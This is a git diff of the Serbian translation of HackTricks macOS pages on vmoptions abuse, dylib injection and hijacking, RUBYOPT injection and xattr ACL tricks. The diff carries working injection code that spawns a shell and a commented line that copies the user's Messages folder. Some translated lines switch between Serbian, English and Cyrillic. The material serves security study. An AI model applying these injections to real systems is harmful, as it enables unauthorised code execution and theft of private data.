**izlazu gde traže** ove datoteke, kao: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ Neki programi kao što je Android Studio će u svom **izlazu naznačiti gde tra 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -Ako to nije slučaj, lako možete provjeriti to sa: +Ako to ne urade, možete lako proveriti pomoću: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -Primetite kako je interesantno da Android Studio u ovom primeru pokušava da učita datoteku **`/Applications/Android Studio.app.vmoptions`**, mesto gde svaki korisnik iz **`admin` grupe ima pristup za pisanje**. - -
- -Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! - -Drugi načini da podržite HackTricks: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. - -
+Napomena koliko je zanimljivo da Android Studio u ovom primeru pokušava da učita datoteku **`/Applications/Android Studio.app.vmoptions`**, mesto gde svaki korisnik iz **`admin` grupe ima pristup za pisanje.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index caf30487e..2f11a3485 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ # macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## DYLD\_INSERT\_LIBRARIES Osnovni primer -**Biblioteka za ubacivanje** za izvršavanje shell-a: +**Biblioteka za injekciju** za izvršavanje shelle: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -Binarni fajl za napad: +Бинарни фајл за напад: ```c // gcc hello.c -o hello #include @@ -45,16 +46,16 @@ printf("Hello, World!\n"); return 0; } ``` -Umetanje: +Injection: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` -## Primer Dyld preusmeravanja +## Dyld Hijacking Example Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} -{% tab title="ovlašćenja" %} +{% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 [...]com.apple.security.cs.disable-library-validation[...]
 
@@ -91,7 +92,7 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i **pokušava da učita biblioteku iz**: +Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i da **pokušava da učita biblioteku iz**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja **izvršava proizvoljan kod i izvozi iste funkcionalnosti** kao legitimna biblioteka ponovnim izvozom. I zapamtite da je kompajlirate sa očekivanim verzijama: +Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja **izvršava neki proizvoljni kod i izvozi iste funkcionalnosti** kao legitimna biblioteka ponovnim izvoženjem. I zapamtite da je kompajlirate sa očekivanim verzijama: {% code title="lib.m" %} ```objectivec @@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -Kompajlirajte ga: +Kompajlirajte to: {% code overflow="wrap" %} ```bash @@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found ``` {% endcode %} -Putanja reizvoza koju je kreirala biblioteka je relativna u odnosu na učitavač, promenimo je u apsolutnu putanju do biblioteke za izvoz: +Putanja za ponovni izvoz kreirana u biblioteci je relativna prema učitaču, hajde da je promenimo u apsolutnu putanju do biblioteke za izvoz: {% code overflow="wrap" %} ```bash @@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -Konačno samo kopirajte na **preuzetu lokaciju**: +Na kraju, jednostavno ga kopirajte na **otetu lokaciju**: {% code overflow="wrap" %} ```bash @@ -155,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -I **izvršite** binarnu datoteku i proverite da li je **biblioteka učitana**: +I **izvršite** binarni fajl i proverite da li je **biblioteka učitana**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
-Usage: [...]
+2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib je preuzet u /Applications/VulnDyld.app/Contents/Resources/lib/binary
+Upotreba: [...]
 
{% hint style="info" %} -Lepo objašnjenje kako iskoristiti ovu ranjivost da bi se zloupotrebila dozvola kamere u Telegramu može se pronaći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +Lep članak o tome kako iskoristiti ovu ranjivost za zloupotrebu dozvola kamere Telegram-a može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} -## Veći obim +## Veća Skala -Ako planirate da pokušate da ubacite biblioteke u neočekivane binarne datoteke, možete proveriti poruke događaja da biste saznali kada je biblioteka učitana unutar procesa (u ovom slučaju uklonite printf i izvršenje `/bin/bash`). +Ako planirate da pokušate da injektujete biblioteke u neočekivane binarne fajlove, možete proveriti poruke događaja da biste saznali kada se biblioteka učitava unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 354d389ec..ffc75454d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ -# macOS Ubacivanje u Ruby aplikacije +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -Korišćenjem ove okružne promenljive moguće je **dodati nove parametre** u **ruby** kada god se izvršava. Iako parametar **`-e`** ne može se koristiti za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre **`-I`** i **`-r`** da se doda nova fascikla u putanju za učitavanje biblioteka, a zatim **specificirati biblioteku za učitavanje**. +Korišćenjem ove env promenljive moguće je **dodati nove parametre** u **ruby** svaki put kada se izvrši. Iako parametar **`-e`** ne može biti korišćen za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre **`-I`** i **`-r`** da se doda nova fascikla u putanju za učitavanje biblioteka i zatim **specificirati biblioteku za učitavanje**. Kreirajte biblioteku **`inject.rb`** u **`/tmp`**: @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -Napravite bilo gde Ruby skriptu kao: +Kreirajte bilo gde Ruby skriptu kao: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -Zatim napravite proizvoljni Ruby skript i učitajte ga sa: +Zatim napravite proizvoljan ruby skript koji ga učitava sa: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -Zanimljiva činjenica, radi čak i sa parametrom **`--disable-rubyopt`**: +Fun fact, to radi čak i sa param **`--disable-rubyopt`**: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index 2e60ecfcd..b8ec30b3f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,27 +1,33 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls dodatne stvari + +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
-Kod funkcije get_acls +Код за get_acls ```c // gcc -o get_acls get_acls #include @@ -61,47 +67,103 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` - +``` +
+```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
-Kod funkcije set_xattr +Код set_xattr +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+Podržite HackTricks +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 712b9808c..01bafd078 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ -# macOS Pesak +# macOS Sandbox + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Osnovne informacije +## Basic Information -macOS Pesak (inicijalno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar peska na **dozvoljene akcije navedene u profilu peska** sa kojim se aplikacija izvršava. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**. +MacOS Sandbox (prvobitno nazvan Seatbelt) **ograničava aplikacije** koje se izvršavaju unutar sandboxes na **dozvoljene radnje specificirane u Sandbox profilu** sa kojim aplikacija radi. Ovo pomaže da se osigura da **aplikacija pristupa samo očekivanim resursima**. -Bilo koja aplikacija sa **ovlašćenjem** **`com.apple.security.app-sandbox`** će biti izvršena unutar peska. **Apple binarni fajlovi** se obično izvršavaju unutar peska i kako bi se objavili u **App Store-u**, **ovo ovlašćenje je obavezno**. Dakle, većina aplikacija će biti izvršena unutar peska. +Svaka aplikacija sa **entitlement** **`com.apple.security.app-sandbox`** će biti izvršena unutar sandboxes. **Apple binarni** fajlovi se obično izvršavaju unutar Sandbox-a i da bi se objavili unutar **App Store-a**, **ova dozvola je obavezna**. Tako da će većina aplikacija biti izvršena 